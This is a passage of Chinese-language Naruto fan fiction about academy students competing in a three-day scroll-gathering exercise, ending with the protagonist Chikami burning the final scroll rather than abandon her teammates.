“谁会想要那种不中用的夸赞啊!”被撒手没的大麻烦黏上有什么好的,他多想不开啊要去羡慕亥一?!
“是吗?可是被千弥称赞,我会觉得更有动力啊。”话一出口,山中亥一就收获了一个眼睛亮闪闪的会用脸颊蹭自己的依恋型摆尾小狗。
“……口不应心可不好啊,鹿久。”丁座拍拍友人的肩,语重心长道,“你这样会在直球选手面前掉队的。”
这种事他当然知道了!
被接连教育的奈良鹿久气得直哼哼,扯着连成串的伙伴们,“叫到我们组了,走吧。”
“影子模仿术,成功。”
“我来摸卷轴。”猫在草丛里的千弥跳上前,灵活的手指舞动成波浪,在落单的同学身上摸出一颗信号弹(捏),“阵亡了呦。”
影子悄无声息地缩了回去。
“在这里!”
看到诱饵身上冒出的红色淘汰烟雾,三个人从树上跳了下来,呈三角形将猎物和“阵亡”的同伴包围,“三年级的古蹊千弥吗?”
“只有她一个,嘁,也是被猪鹿蝶丢出来的散兵吗?”一个蒙面的六年级警惕地看着周围,不见有任何风吹草动,他又面向因为捏爆烟雾弹,身上沾着大量红粉的千弥,“你的价值似乎没绳树说的那么高。”
果然,在不可逾越的年龄差和由此带来的机能的差异下,三年级就是三年级。同为六年级,他们和奈良的策略是相通的。
“身上有卷轴吗?给我们看看。”手持苦无缓步上前的少年噗通倒了下去,变故发生在一瞬间,剩下的两人一个在转头看向同伴时被千弥反杀,一个被藏在草丛里的影子困住,四人小队就此全员覆灭。
“为什么不告诉我们他们四个都在?”被摸走所有的武器、捆成一条长虫的六年级屈辱地扭动,恨恨地盯着一声不吭的三年级。
“死人没办法说话啊,前辈。”和千弥不同班的三年级少年揉着栗色的短发,一脸纯良,“无论如何,我们的实训到此为止了,安静地等老师过来把我们送出去吧。”
“真卷轴是‘人’卷。”奈良鹿久把卷轴交给亥一,啧了一声,“竟然和我们一样。”
“unlucky啊~”千弥摸完了飞机头前辈身上的装备,仔细到连衣服的暗扣都不放过,她抬起头与不远处抵着树根、瞳孔震颤地望着自己的女性高年级前辈对视,安抚道,“你放心,我应该不是变态。”
为什么不用肯定句?你不要过来啊!
隔壁班的绳树对古蹊千弥的评价还是太保守了。
她忽然想到老师们对古蹊千弥的评价——“魔王”。
对啊,这可是胆大包天到连火影大人们的名字都能拿来拼凑创新、入学不久就和当时的三年级打群架的古蹊千弥!他们怎么能因为火山沉寂了一年,岩浆遇冷化作变成灰扑扑的火山岩就忘了熔岩喷发时灼人的光和热?
“这么抗拒的话,就放过前辈好了。”
“呼。”
“呜呜!”被堵住嘴,背身捆住的飞机头扑通扑通地旱地蛙泳,不公的委屈将他的眼眶染成红色——这不公平!
察觉到脸色涨红的前辈有话说,千弥好心地给人“松嘴”。
“忍者的眼里没有性别之分。”他教育这个没有将《忍者守则》背进灵魂的后辈,义正言辞,“请你一视同仁。”
女同伴剜了他一眼,随后一头撞了上去。
揍同伴揍得呼呼喘气,少女闭上眼彻底躺平。
善心大发的千弥选择将人轻轻放过,她用小树枝轻轻戳了戳鼻青脸肿的飞机头前辈,“那种没人性的守则背得太深刻只会白白挨打的啦,就像前辈一样。对待女性要像对待花儿一样珍惜,这可是从恐龙时代就流传下来的道理。”
“又是哪听来的歪理啊。”分神留心千弥那边的情况,鹿久听得头痛。
千弥很好奇其他人会有哪些奇奇怪怪的藏匿手段,蒙面男的腰上缠了两圈钢丝,腰带上挂了一串用丝串起来的手里剑;飞机头前辈衣领上藏了四根千本,衣袖内侧有一把飞刀,裤子的工装口袋里还有一大把铁蒺藜。
不要紧,还有三天时间,她还有很多摸尸、不,探索的机会。
“我们走吧,带他们出去的老师也快到了。”感知到有查克拉靠近,山中亥一提醒伙伴们,“向老师们暴露位置的话,我们可能会成为不定时遭受袭击的对象。”
“再见,谢谢啦。我们会好好珍惜你们的卷轴的。”千弥朝四人挥手。
奈良鹿久回过头,握住千弥挥舞的手向下压,“这种感激只会招人恨。”
“我错了。”
见拉仇恨不自知的千弥乖乖地低头认错,鹿久满肚子的说教突然堵在了喉咙。
“嘛,到时候也许可以和其他组多出来的卷轴交换,不过感谢放在心里就够了,不用说出来。”鹿久用那只空着的手搓了搓裤边。
“只要千弥一道歉,鹿久的态度就软了。”山中亥一捂着嘴走在后面,和丁座小声地蛐蛐。
“是啊,连麻烦也不怕了。”丁座看着手牵手的两个人,“牵着手走在一起,如果遇到危机不好应变吧。”
连术的印都不方便结。
“你们两个——”奈良鹿久恼怒地转过头,“我都听到了!”
“那要松开吗?”很习惯和伙伴贴贴的千弥闻言把手松开,但是被反握住了。
“不需要。”奈良鹿久一次迈了一步半的步幅,让稍稍落后的千弥不得不踩着碎步赶上,他重复了一遍解释道,“我们这边有两名感知型忍者,足够应对意外了。不需要松开。”
森林的另一边——
“果然逃不过感知忍者的感知。”
“彼此彼此。”
“你们的卷轴是什么?”绳树打起精神提防写轮眼的幻术。
“可以告诉他们吗?”波风水门看着日向日足。
“我们是天之卷。”油女志微向对面表示诚意。
得到前辈的首肯,作为交流代表的波风水门回道,“我们是地之卷。”
“要战斗了吗?”站在后排的香奈将查克拉汇聚在拳上。
“没办法吧。”油女志微的袖口钻出乌压压的查克拉虫。
“抓到了——”从天而降的轰击打散了两个小队。
“欸?!姐姐!”狼狈地躲过地裂的绳树眼睛瞪出了眼眶。
他的姐姐不是回医院当院长,建设医疗部了吗?连课都交给名为药师野乃宇的前辈代替了,怎么还会出现在这里?!
“不是姐姐,”纲手收回打进地面的拳头,冲着弟弟挥出第二击,“是三三!”
无差别攻击的数根土柱从地下隆起,“先别管卷轴了,活命要紧,快跑!”随着绳树嗷地一嗓子,八人迅速四散开。
又是水淹又是火烧、森林的地面从东头裂到了西头,混乱平息,烟尘散尽,绳树看着自己这边的玖辛奈、美琴和志黑楞在原地。
“那另一边岂不是——”
被地裂赶到森林另一头的几人同样面面相觑。
“或许大家可以暂时结盟?”水门看着状态紧绷的众人发起倡议。
彼此都是熟实的同伴,实在不好下手。实战演习3天就结束了,但生活还要继续过下去。他们总不能在看到对方第一时间,脑海中浮现出的是各种下黑手的场景。
日向日足眼睛周围的青筋恐怖地鼓起,半晌对着水门摇了摇头,“他们不在附近。”
“可以。”确认了香奈的意向,油女志微冲着水门点头。
尽管很少和众人一起团建,但终究还是有过看萤火虫的情谊,日向日足迎着六双眼睛的注视,点头:“我也同意。”
“绳树和美琴?”上蹿下跳,在森林里像回了家的猴子一样四处撒欢、到处乱钻,头发上还带着半截树杈的千弥抱着捡到的蛋从树上爬下来。
她看着
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和初始设置相比已然大变的组合若有所思地点点头,“这就是书上说的‘互质’吗?确实不失为相互牵制同时巩固联盟的策略。”
“千弥!”绳树发现自己这一天除了瞪眼就是在瞪眼的路上。
可恶!竟然在最虚弱的时候遇到最想交战的对手了!
“交出卷轴!不然淘汰你,嘻嘻~~~“抱着蛋的女孩发出了皮皮的怪笑。
“别太丧气了,虽然失去了天之卷,但我这不是还了你一个人之卷吗?这可是我们组的初始卷轴,一直保存在我身上,很珍贵的。”千弥蹲在地上,手法潦草地揉绳树的狗头。
竟然已经打败一组敌人了,这不是说明自己输得更彻底了吗?!深受打击的绳树撅着屁股趴在地上,脸贴着地落泪,棕黄色的土变成了深褐色。
“还差一个地之卷,芜湖~”冒光的视线缓缓地落在了美琴身上。
“是嘛,你们的卷轴在日足前辈手里啊。”
人与人之间的悲喜并不相通。
“去我们那里吃晚饭吗?除了蛋,我还捉到了老鼠和青蛙。”千弥从忍具包里掏出晕过去的龅牙鼠和瘸腿蛙,热情地邀请。
原本看着蛋有些意动的美琴努着鼻子后退两步:“不要。”她宁可第一晚就吃应急的干粮,也绝不会碰秃毛的老鼠和黏糊糊的青蛙。
“在这里分别吗?”走在岔路,千弥回望两个小伙伴。
“拜拜。”*2
宇智波美琴和绳树不约而同地微笑、摇手绢送别了千弥——事实上无论再怎样心动,他们都是绝对不可能跟着千弥回去的,要是见到了鹿久,他们两个恐怕会当场变成真正的人质。那才是在朋友圈中尊严扫地的至暗时刻。
等千弥的身影变成了黑点,捂着肚子的绳树抬起头,他们周围尽是树冠茂密、年岁未知的巨树。
“我们可以像千弥那样从树上找鸟蛋。”
窣窣……窣窣……
听到草木深处传来的异响,绳树和美琴背靠背准备迎敌。开着写轮眼的美琴捕捉到从草丛间一闪而逝的斑点纹:“是蛇!”
被5米长的水桶腰花斑蛇一路追着咬的绳树抬头望着在高处奔跑的美琴询问,“你说千弥抱回去的是什么蛋?”
在林间穿梭的宇智波美琴急促地喘着气回答:“肯定不是鸟蛋!”
“巧了!我也这么想!”捂着屁股的绳树嗅到从身后蟒蛇的血盆大口中散发出的腥气,跑得更快了。
“你这是带了什么麻烦回来啊!”刚把蛋架在火上就享受到了绳树待遇的四人急匆匆地逃跑,连预定的隐匿行踪、守株待兔之类的计策都顾不上维护。
“不是麻烦,是绳树他们的天之卷!”逃跑还不忘抱着战利品蛋,千弥被风吹飞飘的碎发像乱流中的海草四下飘散。
“那我们身后这些是天之卷的赠品吗?”奈良鹿久手指身后嗖嗖地从树上飞咬过来的细蛇。
“是心有不甘的绳树的诅咒。”千弥点头,“好浓郁的诅咒气息,等见到绳树就把人之卷抢回来。”
将收缴来的千本投掷出去,细蛇被钉在树上,鹿久冲没自觉地捧哏的天然呆大喊,“没有那种诅咒!”
“别闹了,快跑!”太刺激了,他们这是捅了蛇窝吗?
“肉弹战车!”
丁座就这么圆滚滚地一举超过了所有人。
“我可以用火遁吗?”千弥征求鹿久的意见。
“一旦陷入蛇潮,你能确保自己身上一个窟窿也没有、安全出来吗?”
“那还是快点逃吧。”
“等等,你怀里抱的什么东西?”
“树上的蛋,也是火烤的蛋。”
“丢掉!”
“哦。”
“千弥竟然没有犹豫。”亥一听着千弥没有一丝留恋、干脆利落的回答颇为疑惑。这么大的蛋,按照千弥的性格定会爱不释手。他起初甚至以为千弥揣着把蛋孵出来开盲盒的心思,才抱着这颗巨蛋回来。
“鹿久的话,只要无条件听从就好了。”逃命的千弥把蛋往身后的草丛一抛,回身打飞张着细长的尖牙靠近的“小飞棍”。
“它们落下来的时候是直着的。”千弥犹有余裕地同猪鹿蝶分享自己的发现,“但被我打飞后是s型抖着落进草里的!”
“笨蛋。”
不分场合地犯天然呆真是要命。
“这个我可不能听!”
“大笨蛋。”
“聪明蛋。”
“你哪里聪明了,惹祸精?”
“我说的聪明蛋是鹿久啊。”
听着总感觉不对味,就连鹿久一时间也分不出千弥是想夸他聪明还是用自己骂千弥的“xx蛋”句式进行反击,所以他直接问出来了,“这是骂人的话吗?”
千弥眨眼,反问,“这是夸人的话吗?”
奈良鹿久:火冒三丈。
“一群笨蛋。”透过三代目火影的望远镜之术看到千弥这边的情况,纲手看着施施然抱胸诡笑的大蛇丸,“他们遇到的蛇潮是你的手笔吗?”
为了一颗蛋倾巢出动,怎么看都不像是蛇类的习性。
沙哑的人声像是蛇滑过草丛,大蛇丸看着水晶球里的人,舔了舔唇,“只是应校长之邀,给毕业生们上一点难度而已。”
负责带队保卫学生安全,同时在学生们的处境过于安逸时悄然送上一击的旗木朔茂收刀立定,向猿飞日斩汇报进度,“目前六年级淘汰96人,余下24人,三年级淘汰72人,余下12人,淘汰选手皆已安全护送离场。”
“这才第一天。”志村团藏哼了一声。
太弱了。
“这个难度已经不低于中忍考试了,对他们而言确实还是太早了些。”猿飞日斩放下落在水晶球两侧的手,有些忧虑地看向旗木朔茂,“朔茂,学生们的安全就交给你的队伍了。”
旗木朔茂单膝跪地领命,“是。”
46.幽灵绳树参上
森林某处
“既然已经确认日足手里有真正的地之卷,我们接下来的行动就不用多说了吧?”
“抢过来!塔塔开!”千弥举手抢答。
虽然有在友谊的小船上凿窟窿的嫌疑,但这场联合演习真的太有趣了!
鹿久白了千弥一眼,拿树枝在地面写写画画。在边长约20cm的田字框架内,鹿久点了点靠近十字的西南角,“我们现在大致在这个位置,千弥在这里遇到了绳树,只要在后续注意感知他们的动向,我们迟早能和日足他们相遇。”
“原来如此,策略是做stalker。”
“鹬蚌相争,我们看准时机将他们一举拿下。”
“狗狗祟祟吗?我很擅长!”
往千弥嘴里塞了半块饼干,火光照亮了他的脸,奈良鹿久表情严肃地看着伙伴们,“现在我们手里有天、人两卷卷轴,这个情报对其他组已经不再是秘密。”说到这里,鹿久忍不住又瞪了嚼着饼干乐呵呵地挠头傻笑的千弥一眼。
这个笨蛋竟然就这么放两个人走了,还把自己的卷轴大方地给了败将绳树。如果有美琴在,他至少有三种方法把水门他们钓出来。
“绳树手上的是人之卷、日足有地之卷,因为某个家伙的存在,我们的天之卷和人之卷反而很可能会成为那两队合作的空间。”
“‘某个家伙’是我呀。”听着鹿久的分析,千弥不自觉地身体前倾,深海中出现一团明亮的火焰,“我竟然是让大家团结起来的纽带啊哈哈!”
“怎么傻乎乎的。什么纽带,明明是让大家忍不住投苦无的移动靶。”鹿久伸长手臂,将离火太近的人推远,“还是自带嘲讽buff那种。”
“哼哼哼。”千弥坐在地上,一双眼静静地望着在空气中起舞的橘黄色火舌出神。
“不要长时间盯着火光。”这次换鹿久倾身靠近火焰,捂住了千弥的眼睛,“视力会下降的。”
“吃100根胡萝卜就好了。”千弥嗅嗅,“鹿久你好像着火了。”
“没有那种补法!”这家伙的常识到底是怎么回事?
“鹿久像妈妈一样呢。”和丁座相互倚靠的亥一看着拍灭衣角火焰的鹿久,用所有人都能听到的声音说道,“还摆出了单手插腰的姿势,我们要给鹿久编一个树叶扫把方便鹿久角色扮演吗?”
发现鹿久眼尾拖着红光正阴森森地看向这边,丁座浑身一颤,竖起手指“嘘嘘”地让亥一噤声。
“睡得这么安稳。”鹿久给睡姿豪放、仰面朝天、露出腹部的千弥盖了件衣服和亥一吐槽,“做缺根筋的笨蛋真好啊,什么都不用烦恼,在这种危险的地方都能睡得开。”
“这是千弥信任我们的表现。”亥一看了看千弥和丁座,认认真真地执行感知和守夜的任务。
奈良鹿久:“……”
无时无刻不在打直球的亥一恐怖如斯。男妈妈什么的称呼,明明和亥一更相称吧!
天光微微亮,千弥准时睁开眼睛,“换班啦。”
鹿久和亥一的呼吸逐渐变得和缓,霸气扩散,千弥感知到日差和爪他们的队伍正和另一队交战。
“早起的鸟儿有虫吃吗?”千弥抬头望天,夜幕还没有彻底退场,那几颗在深夜格外闪耀的星仍倔强不休地散发着和天光相比已然黯淡的光芒,“这也太早了。”
是担忧其他队伍毅然抱着卷轴同归于尽,故而选择了奇袭吗?
起早贪黑地执行任务,忍者这一行还真是辛苦啊。
……
第三日——
千弥的友人们狭路相逢了。
各自归队,相互警惕的众人拿着苦无面面相觑。
“先交换情报如何?”波风水门再次站了出来主持局面。
“我们是地之卷和人之卷。”日差同兄长颔首。
“我们也是地之卷和人之卷。”日足看向绳树。
“别看我,我们同样是地之卷和人之卷。”面对两双白眼的绳树丝毫不慌,“我们的天之卷已经被千弥抢走了。”
“不妙啊。”千弥给鹿久汇报情况,“那边3组人之间似乎相处得很好,完全没有冲突,查克拉像冬天的池水一样平静。”
“换个角度想,我们只要其中打败一组就能得到地之卷了。”奈良鹿久勉强地安慰千弥,嘴角止不住地抽搐。
喂喂喂,这种小概率事件竟然真的发生了,对他们未免太不友好了吧?!
“能感知到其他队伍吗?”
“大概都出局了吧,只有老师们的查克拉。”
时间不多了,鹿久思忖片刻,“千弥现在能感知到老师们的方位吗?”
“可以呦。”
“用影分身吸引老师的火力,利用他们来消耗其他队伍的力量。”鹿久镇定地排兵布阵。
“鹿久。”千弥扯长了嗓音。
“嗯?”
“好卑鄙!”
“哈?”
“但是(我)好喜欢!”星星眼。
这种满肚子冒坏水的邪恶计划好刺激!哇酷哇酷!
“胡说八道什么呢!”
“嘭!”
合谋先将猪鹿蝶千弥小队一举击破再竞相逐斗的12人不等制定计划就被教官们打得七零八落。
“这绝对是那个邪恶边牧的手笔!”连喘息的功夫都没有就被迫迎接新一轮的突袭,玖辛奈恶狠狠地咬牙,血色长发在风遁忍术的余威中凌乱地狂舞。
“出局了啊。”长刀抵颈,爪无奈地同队友告别,“感谢关照。”
白云早间看着沉默的刀术课老师,拔刀迎了上去。
“你的影分身究竟做了什么啊,竟然吸引了这么大的火力。”站在树上看着远处在打斗中轰然倒地的巨木,鹿久发现自己对千弥的了解还是不够深刻。
他忧虑地看着悠哉悠哉地没有危机意识地坐在树上晃腿的千弥。以他们目前的能力,绝无可能在这么多老师面前保护好千弥。
“古蹊千弥他们在哪里?”被影分身耍了一通的纲手卷着袖子撩开驻地营帐,溢出来的查克拉汇聚成道道气旋,胸口更是剧烈起伏。
“……在外面遇到挫折了吗?纲手姬。”看了一出好戏的大蛇丸浑身散发着愉悦的气息,阴暗潮湿的环境里落入一道阳光,连阴冷的气质都被冲淡了几分。
“闭嘴,大蛇丸。”纲手盯着软垫上的水晶球,目光向上,落在了三代目火影的脸上。
猿飞日斩:“……”
嘲讽纲手姬的赌术,趁着对方理智尽失的时候又让另一个影分身使出变形术误导纲手姬去攻打真正的日向……
那孩子可真是……智勇双全。
“爪和鞍马出局了。”亥一实时汇报情况。
“还不够。”剩下的都是劲敌。
“千弥,你能变身成真正的老师再趁乱拿下绳树吗?”
“唔……可以试试。”
“只派千弥一个人吗?”亥一有些担心。
“在白眼、写轮眼、虫、漩涡的感知和侦查下,我们贸然现身是下下策。”鹿久安慰亥一和丁座,“千弥很强。”
“我走喽~”
朝结束一轮突袭后回到树上待机的忍者丢几颗石子,千弥卷着地上的残叶荡漾地跑远。
“那个小混蛋!”
辅考官不假思索地掏出手里剑,追了上去。
“呜呜呜呜。”
为什么又是他!
坚持背对着千弥是被绑成毛毛虫的战利品最后的倔强。
从脸到胸再往下到腿全被摸光了。口袋被掏空,连眼皮都被扒开看了看的绳树无声落泪。
一点情面都不留的混蛋千弥。
呜呜呜。
他是不会原谅她的!
呜呜呜。
鹿久看着千弥摸出来的乱七八糟的东西,里面竟然还有一把毛毛草和几颗漂亮的小石子,嫌弃道,“竟然连假卷轴都没有。”
因为有着被千弥抢走卷轴的前科,故而卷轴保管权被队友投票移交给玖辛奈的绳树:没有卷轴真是对不起呢!一帮不讲情义的家伙!
“玖辛奈、香奈、志微,三选一吗?”
“玖辛奈
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吧。”
“确实,玖辛奈的话一定会很积极地提出保管卷轴。”千弥点头,“毕竟被敌人缴获卷轴还被生擒的绳树前辈在同级和后辈眼里已经变得不可靠了。”
千弥的话语化作尖刀,照着绳树的心窝子一通乱刺。
深受打击,整个人都变成忧郁菇菇的绳树:不要再说了!QWQ
“绳树怎么办?”千弥看着留给自己后脑勺的偷摸大鸡。
“就地淘汰,不然无异于放虎归山。”
“淘汰了吧。”
“虽然性格有些莽撞,但确实是我们六年级的最强。”
绳树听着猪鹿蝶的对话瞪大眼睛,眼泪不要钱似的淌。
没爱了!
压成粉的球在身上用力地划出痕迹,绳树眼里的光消失了。
“笨蛋绳树冲在最前面,超好劫持。”千弥分享自己绑架绳树的经历,“打一下,再逃一下,鱼儿就主动跳到岸上了。”
“是吗。”奈良鹿久心不在焉地等待最后的信号,“那真是很容易了。”
好劫持、很容易的绳树:气、抖、冷。
他要和他们绝交!
气上头,他竟然把绝交这种话说出口了。绳树忽然有些不安。
“欸,不要绝交嘛~而且这不是演习吗?”千弥围着绳树团团转。
“出现了。”斜靠着树的鹿久直起身,“西北方,大概10公里。”
被“死人”幽怨地盯着,千弥有那么一点点想从绳树身上撕块布,把他的眼睛蒙起来。
“做鬼也不会放过你的。”将自己的手卡在脖子上,声音沙哑的绳树真的有怨鬼味儿了,“我的偷摸大鸡呦~”
“不是绝交了吗?”千弥后退两步,躲在丁座身后,冷漠道,“你找错人了。”
回旋镖扎在身上,绳树被气得噗通仰倒过去。
“你怎么还跟着我们?”亥一看着绳树。
“我现在是千弥的背后灵(following ghost)。”
想近距离地看到最后、见证对手队伍结局的绳树伸直双手,原地跳了两下。
“这是zombie吧。”鹿久死鱼眼。
“嘛~差不多。”绳树挠挠头。
“故事书里的召唤兽?”千弥摸摸下巴,“还是幽灵系。”
“没那么可爱。”鹿久吐槽。
被写着“不可爱”三个字的箭头咔地戳在头顶的绳树:“我不会妨碍你们的。”
“随便吧。”鹿久叹气,“玖辛奈、日足、日差是千弥你伏击的重点人物。其他人交给我们,有我的控制和亥一的心转身之术,哪怕只有短短几秒钟的时间也够丁座配合我们将对手淘汰了。”
鹿久看到千弥点头,继续说道,“还有最后也是最重要的一点。”
在千弥疑惑的目光中,他拿出放在自己身上的卷轴交给千弥保管,“即使我们被淘汰了,你也只管往前走就好。”
“欸?!”
鹿久转头瞪着绳树,“幽灵不要打岔。”
绳树捂住嘴巴,将头点成钟摆。
几人按计划分头行动。
“没答应呢。”亥一感动之余,眉宇带着忧愁。
“那家伙的性格我们不是都知道了吗?”奈良鹿久双手插兜,“只好努力满员集合了。”
“身为六年级,我们也不能输啊。”秋道丁座干劲满满。
……
“绳树为什么在千弥旁边嘚吧内?!”玖辛奈大震惊。
绳树笑着朝对面挥了挥手。
“叛变了吗。”
“没错,绳树现在是我们的人了。”千弥将手臂搭在绳树的脖子上,迫使绳树弯腰到和自己差不多高的高度,“超一流的召唤兽。”
“竟然不做人了。”不是很能听懂千弥的话,但意识到绳树阵营变换的玖辛奈还是举起了苦无,“幸好卷轴的保管权不在绳树身上。”
心窝子被队友捅啊捅的绳树转过身抹泪,太痛了!
卷轴若是在他身上,恐怕这个时候千弥的小队已经通关了。
47.心中哇~ 一个人~ 不可以
“太卑鄙了!”被千弥按在地上啃了一嘴草的玖辛奈呼哧呼哧地大口大口喘气,“我要和你绝交一天!”
“别说那种幼稚的话啦,玖辛奈。”从偷摸大鸡身上摸走卷轴的千弥单手将卷轴打开确认真伪后,拍了拍玖辛奈的头,“绳树不久前才用绝交威胁我,这种狠话我已经免疫了。”
“可恶的绳树!”不仅叛变还抢了她的台词!
带着阵亡标记的玖辛奈把极力降低存在感的绳树按在地上,照着狗脑袋就是一通暴打,“不管什么攻击竟然都一声不吭地挡在千弥面前,你到底是哪个阵营的?!”
最可恶的是这家伙也不回击,害得她束手束脚的,难得的对战根本不尽兴!
“嘛~”千弥揣好卷轴为自始至终都只在默默流泪的绳树说了句公道话,“阵营确实变了没错,但是变到亡者的阵营那头去了。”
“嗯?”玖辛奈闻言低下头,绳树含泪顶着满头的大包点头,“我现在是千弥的尸体傀儡。”
“为什么不早说啊!”玖辛奈圆圆的脸气得通红,“早知道这样我连着你一起打!”
“可千弥说尸体不会说话。”绳树委屈,泪眼汪汪地看着傀儡师(伪)。
千弥你说说话啊!是你不让他说话的,这可是他演习以来受的最重的伤,最重要的是伤得一点也不英勇。QAQ
“绳树在谴责我吗?做傀儡也好,当野鬼也罢,明明都是绳树自愿的。”千弥事不关己地双手插兜。
“等等……”这不是他想要的帮衬,而且真的不是在火上浇油吗?太坏了吧!绳树露出蛋花眼。
“死掉的人就乖乖退出啊,混蛋!”玖辛奈眼睛里冒出熊熊烈火,坑队友的罪魁祸首竟然还想挑拨她和千弥的友谊!
“嘭!”
“私、私密马赛。”
都是漩涡,为什么玖辛奈这么暴力?
“好啦,卷轴也集齐了,我们走吧~”把水做的大跟班从地上捞起来,再保养一番(拍拍尘土),千弥看着孤零零的玖辛奈,“一起去终点吗?反正最后所有参加演习的人都会去那集合。”
“当然了!”跟过来的玖辛奈不忘为自己的失利找补,“志微和香奈绝对会为我们报仇的!”
“那玖辛奈猜猜鹿久他们现在在哪里。”
和伙伴们分散伏击千弥一伙的玖辛奈:“……”
是啊,以她和千弥、绳树打出来的动静,她的队友们不可能没有察觉。
邪恶边牧的智慧不容小觑,队友危。红毛小狗心灰意冷地垂下脑袋。
爪的那组成员只剩下了日差一人,太过担心是兄弟也是主仆的两个日向会形成牢不可破的铁盟,他们终究没敢和那两组人结盟。早知道会是这样的结局,还不如结盟呢。
“接下来就剩下突破那五个人的封锁了。”衣服上多了不少虫蛀出的豁口,重新扎好冲天辫的鹿久把千弥试图伸进衣洞探索的手指拍掉,“你怎么把玖辛奈也带回来了?”
“反正临近终点也有接引的老师带着玖辛奈退场。”千弥歪头。
“算了。”鹿久叹气,“我们和剩下的几人免不了战斗环节。不过,随着志微、香奈、玖辛奈三人退场,绳树已经没用了,丢掉吧。”
人太多了,累赘。
“等等啊!”听到自己要被抛弃的绳树笨嘴拙舌地努力证明自己的价值,“我还可以当替身用的雪兔,名字都想好了,叫雪人。能帮你们吸引敌人注意力也是好的!”
“就这点儿作用的话,我也可以嘚吧内!”
这种苦活、累活也有人抢?绳树不可置信。
“要打吗?”亥一望着鹿久。
鹿久沉吟,“日足那一组的综合实力很强。”
“避开吗?”丁座等着鹿久的决定。
鹿久叹气,“避不开吧。”
沉默的四个人看向了吵闹的绳树和玖辛奈。
“我突然有了一个想法。”
“我的想法可能和你一样。”
“是这样没错了。”
“傀儡术真是伟大的发明啊。”千弥感慨。
猪鹿蝶齐声喝道,“不是这个!”
“我们的感知范围比他们更广,这是我们组最大的优势。”鹿久席地坐下。
“没错,他们现在像是五角星的五个角散落在终点。”千弥接话。
“我们三人从正面牵制日足,千弥的影分身去其他方位进行干扰。”
“让其他人既想赶过去支援日足又怕其中有诈被钻了空子,心理战吗?”绳树托着腮,“竟然还反过来利用了他们的侦查能力。”
“千弥你的本体就从日差那里突破。”鹿久看着千弥画出来的抽象画,沉默片刻后下达指令。
西面的三个蝌蚪代表美琴,北面两个圈一道弧是日差,东面两个圈一个倒三角是日足,东南从竖线两侧延伸出的八条折线代表志黑,西南面的毛球,是水门。
“因为日差会去帮日足所以防守会出现空缺吗?”玖辛奈猜测。
“不仅如此。分散在东西两侧的日足和美琴同时被牵制,水门和志黑即使摆脱了影分身,动身支援其他人也会优先选择离自己最近的日足或是美琴的方向。日差防守的出入口故而最不容易得到支援。”千弥一脸崇拜,“不愧是鹿久!”
“好可怕啊。”绳树心有戚戚。幸好他“死”的早。
“那美琴先打败了分身呢?”玖辛奈提出异议。
“分身的目标是牵制,不是近身缠斗。”千弥竖起手指,“还有最重要的一点,就算是写轮眼也看不出影分身和本体的区别。不愧是二代目火影的伟大发明!”
玖辛奈看着双手合十、虔诚拜谢二代火影的偷摸大鸡嘴角抽搐。
影分身被千弥用得好阴险!二代目火影大人知道会哭泣的!
出局的绳树和玖辛奈跟着树上的辅考官,先一步通过特殊通道前往终点。
……
“不取走我的卷轴吗?”
在八卦阵中古蹊千弥还能自如地闪避他的攻击,日差在千弥的反击下节节败退,被迫认输。
可是她竟然只拍了拍手,一副终于收工的轻快模样头也不回地径直往里走了。
“因为不需要了。”
声音遥遥地传过来,日向日差靠在树下攥紧了手心。追不上,古蹊千弥太强了,无论如何努力,他都只能看到一个远远的背影。
“鹿久被揍得惨兮兮的。”与同伴们团聚的千弥戳了戳鹿久青黑的眼眶。
“啰嗦。”把嘶嘶声压在喉咙里,温热的手指又一次小心地靠近戳刺,鹿久侧过头,将身体的重量压在丁座身上。
“走啦!不过我们似乎是唯一一组通过任务的欸。”穿梭在通道里,千弥的声音从地下传了出去,通过空气震动,传到众人耳中,“不过我还是头一次有一门科目得到满分。”
“笨蛋。”
“卷轴交上去任务就算完成了吧。”千弥掏出卷轴上前,下一秒,身后的队友们被沉默的黑袍考官们团团包围。
站在两侧的淘汰学生们看着下面的变故,窃窃地交头接耳。
“我有一种不太好的预感。”绳树看着同样为这一幕震惊的姐姐,心脏抽跳。
“不要做多余的事啊,千弥。”玖辛奈默默地祈祷。
“任务伴随着牺牲,能通过考核的人只有一个。”
终于等到了自己出场的时刻,志村团藏缓缓地起身,一步一步地向前,脚步声在安静到凝滞的空间中哒哒地回响,最后他在古蹊千弥身前站定。
“团藏。”猿飞日斩低声地警告,只是对方充耳不闻。
“你的队友已经阵亡了,现在把卷轴交给我,完成任务。古蹊千弥。”
团藏校长接下来讲的什么《忍者守则》xx条,古蹊千弥一个字也没听进去,她回过头深深的望了鹿久一眼。
上交卷轴似乎符合所有人的期望。
又是设伏又是结盟,在林野中求生、争斗,不就为了上交卷轴的最后一刻吗?
“没办法了。”
千弥像泄了气的气球,沉下肩膀。掏啊掏,她从忍具包里取出了卷轴。
在卷轴即将触及到志村团藏平摊开的手心的刹那,赤红色的火焰自两人的掌中升腾,翻涌,明亮灼目的火光刺痛了所有人的眼,将纸张、轴?带一并烧成片片黑块,只余丝丝缕缕的青烟。
倒吸一口冷气的嘶嘶声此起彼伏。
连高台上的猿飞日斩以及随行在侧的参谋一众人都睁大了眼睛。
“古蹊——千弥!!!”一侧的高台上,一个人重重地将手拍在栏杆上扬声怒吼,“我们的卷轴可不是让你烧着玩的!”
“就是!就是!”咆哮产生回音,凝固的空气开始流动,杂乱的声音像振翅的飞虫密密地充斥着这座建于密林之中的地下堡垒。
因为古蹊千弥的冲动,他们足足51个队伍,竟然没有一组顺利完成任务!明明只要把卷轴交上去就好了,可这个人做了什么?!
“吵死了——”成为所有考生眼中钉的古蹊千弥单手插兜,懒洋洋地闭上了一只眼睛,“入场30分钟不到就惨遭淘汰的手下败将还是不要说话了。”
“无理之徒!”抬腿就要跳下去与人理论的蒙面男被身边的人死死扯住裤子,众人七嘴八舌地加入了劝说队伍。
有校长,有火影,有参谋,再不济还有老师们,这种场合怎么也轮不到他们和人争论。
“而且,我的队友都还没说什么呢,轮不到你们指责我。”原本柔软的声音带上了不易察觉的怒气和寒意,像是掺在雪糕里的冰凌,刺痛人的舌尖。
被软钉子无差别攻击的众人纷纷撸起袖子加入战场,“竟然为了死掉的队友放弃任务,你这样还是忍者吗?”一道声音劈开嘈杂的嗡鸣,直指站在全场中央的古蹊千弥。
“人家还是学生啦。”
“……”质疑古蹊千弥忍者精神的人看着双手托腮的古蹊被气得发抖。
“千弥……”香奈眼睛里含着泪。站在人群当中,同学们的愤怒、不满几乎要把她吞没了,感知能力更强的千弥现在怎么样了?
“任务失败造成的损失你拿什么承担?”
